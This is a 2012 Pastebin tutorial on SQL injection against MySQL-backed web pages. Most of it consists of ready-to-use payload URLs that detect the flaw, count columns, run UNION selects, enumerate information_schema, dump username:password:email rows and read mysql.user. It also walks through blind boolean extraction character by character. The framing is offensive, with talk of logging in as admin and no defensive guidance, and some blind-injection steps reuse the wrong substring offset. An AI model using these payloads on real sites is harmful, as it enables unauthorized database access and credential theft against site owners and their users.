Advertisement
The_KGB

Random SQLi tutorial

Feb 12th, 2012
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.06 KB | None | 0 0
  1. Full SQL Injection Tutorial (MySQL)
  2.  
  3. In this tutorial i will describe how sql injection works and how to
  4. use it to get some useful information.
  5.  
  6. First of all: What is SQL injection?
  7. It’s one of the most common vulnerability in web applications today.
  8. It allows attacker to execute database query in url and gain access
  9. to some confidential information etc…(in shortly).
  10.  
  11. 1.SQL Injection (classic or error based or whatever you call it)
  12. 2.Blind SQL Injection (the harder part)
  13.  
  14. So let’s start with some action
  15.  
  16. 1). Check for vulnerability
  17. Let’s say that we have some site like this
  18. http://www.site.com/news.php?id=5
  19. Now to test if is vulrnable we add to the end of url ‘ (quote),
  20. and that would be http://www.site.com/news.php?id=5′
  21. so if we get some error like
  22. “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
  23. or something similar
  24. that means is vulrnable to sql injection
  25.  
  26. 2). Find the number of columns
  27. To find number of columns we use statement ORDER BY (tells database how to order the result)
  28. so how to use it? Well just incrementing the number until we get an error.
  29. http://www.site.com/news.php?id=5 order by 1/* <– no error
  30. http://www.site.com/news.php?id=5 order by 2/* <– no error
  31. http://www.site.com/news.php?id=5 order by 3/* <– no error
  32. http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
  33. that means that the it has 3 columns, cause we got an error on 4.
  34.  
  35. 3). Check for UNION function
  36. With union we can select more data in one sql statement.
  37. so we have
  38. http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
  39. if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
  40.  
  41. 4). Check for MySQL version
  42. http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
  43. it’s a comment and it’s important for our query to work properly.
  44. let say that we have number 2 on the screen, now to check for version
  45. we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
  46. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
  47. if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
  48. i didn’t see any paper covering this problem, so i must write it
  49. what we need is convert() function
  50. i.e.
  51. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
  52. or with hex() and unhex()
  53. i.e.
  54. http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
  55. and you will get MySQL version
  56.  
  57. 5). Getting table and column name
  58. well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
  59. we must guess table and column name in most cases.
  60. common table names are: user/s, admin/s, member/s …
  61. common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
  62. i.e would be
  63. http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)
  64. we know that table admin exists…
  65. now to check column names.
  66. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
  67. we get username displayed on screen, example would be admin, or superadmin etc…
  68. now to check if column password exists
  69. http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
  70. we seen password on the screen in hash or plain-text, it depends of how the database is set up
  71. i.e md5 hash, mysql hash, sha1…
  72. now we must complete query to look nice
  73. for that we can use concat() function (it joins strings)
  74. i.e
  75. http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*
  76. Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
  77. (there is another way for that, char(58), ascii value for : )
  78. http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
  79. now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
  80. when you have this, you can login like admin or some superuser
  81. if can’t guess the right table name, you can always try mysql.user (default)
  82. it has user i password columns, so example would be
  83. http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user/*
  84.  
  85. 6). MySQL 5
  86. Like i said before i’m gonna explain how to get table and column names
  87. in MySQL > 5.
  88. For this we need information_schema. It holds all tables and columns in database.
  89. to get tables we use table_name and information_schema.tables.
  90. i.e
  91. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
  92. here we replace the our number 2 with table_name to get the first table from information_schema.tables
  93. displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
  94. i.e
  95. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
  96. note that i put 0,1 (get 1 result starting from the 0th)
  97. now to view the second table, we change limit 0,1 to limit 1,1
  98. i.e
  99. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
  100. the second table is displayed.
  101. for third table we put limit 2,1
  102. i.e
  103. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
  104. keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
  105. To get the column names the method is the same.
  106. here we use column_name and information_schema.columns
  107. the method is same as above so example would be
  108. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
  109. the first column is diplayed.
  110. the second one (we change limit 0,1 to limit 1,1)
  111. ie.
  112. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
  113. the second column is displayed, so keep incrementing until you get something like
  114. username,user,login, password, pass, passwd etc…
  115. if you wanna display column names for specific table use this query. (where clause)
  116. let’s say that we found table users.
  117. i.e
  118. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
  119. now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
  120. Note that this won’t work if the magic quotes is ON.
  121. let’s say that we found colums user, pass and email.
  122. now to complete query to put them all together
  123. for that we use concat() , i decribe it earlier.
  124. i.e
  125. http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
  126. what we get here is user:pass:email from table users.
  127. example: admin:hash:whatever@blabla.com
  128. That’s all in this part, now we can proceed on harder part
  129.  
  130. 2. Blind SQL Injection
  131. Blind injection is a little more complicated the classic injection but it can be done
  132. I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it
  133. Let’s start with advanced stuff.
  134. I will be using our example
  135. http://www.site.com/news.php?id=5
  136. when we execute this, we see some page and articles on that page, pictures etc…
  137. then when we want to test it for blind sql injection attack
  138. http://www.site.com/news.php?id=5 and 1=1 <— this is always true
  139. and the page loads normally, that’s ok.
  140. now the real test
  141. http://www.site.com/news.php?id=5 and 1=2 <— this is false
  142. so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
  143.  
  144. 1) Get the MySQL version
  145. to get the version in blind attack we use substring
  146. i.e
  147.  
  148. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
  149.  
  150. this should return TRUE if the version of MySQL is 4.
  151.  
  152. replace 4 with 5, and if query return TRUE then the version is 5.
  153.  
  154. i.e
  155.  
  156. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
  157.  
  158. 2) Test if subselect works
  159. when select don’t work then we use subselect
  160. i.e
  161. http://www.site.com/news.php?id=5 and (select 1)=1
  162. if page loads normally then subselects work.
  163. then we gonna see if we have access to mysql.user
  164. i.e
  165. http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
  166. if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
  167.  
  168. 3). Check table and column names
  169. This is part when guessing is the best friend
  170. i.e.
  171. http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
  172. then if the page loads normally without content missing, the table users exits.
  173. if you get FALSE (some article missing), just change table name until you guess the right one
  174. let’s say that we have found that table name is users, now what we need is column name.
  175. the same as table name, we start guessing. Like i said before try the common names for columns.
  176. i.e
  177. http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
  178. if the page loads normally we know that column name is password (if we get false then try common names or just guess)
  179. here we merge 1 with the column password, then substring returns the first character (,1,1)
  180.  
  181. 4). Pull data from database
  182. we found table users i columns username password so we gonna pull characters from that.
  183. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80
  184. ok this here pulls the first character from first user in table users.
  185. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
  186. and then compare it with simbol greater then > .
  187. so if the ascii char greater then 80, the page loads normally. (TRUE)
  188. we keep trying until we get false.
  189. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95
  190. we get TRUE, keep incrementing
  191. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98
  192. TRUE again, higher
  193. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
  194. FALSE!!!
  195. so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.
  196. then let’s check the second character.
  197. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99
  198. Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
  199. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
  200. TRUE, the page loads normally, higher.
  201. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107
  202. FALSE, lower number.
  203. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104
  204. TRUE, higher.
  205. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105
  206. FALSE!!!
  207. we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far
  208. so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
  209.  
  210. There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,
  211. cause that makes you better SQL INJECTOR
  212. Hope you learned something from this paper.
  213. Have FUN!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement